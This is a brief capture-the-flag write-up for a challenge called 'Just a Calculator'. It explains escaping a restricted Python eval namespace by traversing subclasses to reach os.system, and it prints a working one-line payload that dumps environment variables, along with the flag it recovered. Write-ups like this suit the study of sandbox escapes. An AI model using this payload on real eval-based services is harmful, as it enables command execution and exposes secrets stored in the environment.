← Back to KAALCHAKARA PREQUALS 2026

JUST A CALCULATOR

Escaping restricted namespace Python sandbox using class hierarchy inheritance lookup to system('/bin/sh').

Tools Used

Python Jail Escapenc

Overview

The calculator service evaluates math expressions using a restricted Python namespace where standard builtins like __import__ are disabled.

Reconnaissance

We can traverse class inheritance from basic tuples to retrieve the global object namespace and find loaded classes.

Exploitation Strategy

By indexing the _wrap_close class and fetching its global dictionary, we call system('env') to dump environment variables containing the flag.

Solution Code

# Execute payload via class traversal:
# ().__class__.__base__.__subclasses__()[-7].__init__.__globals__['system']('env | grep Kaal')
# Output: FLAG=Kaal{SYST3M_3p1l0gu3_c9df25f7}

Flag

Kaal{SYST3M_3p1l0gu3_c9df25f7}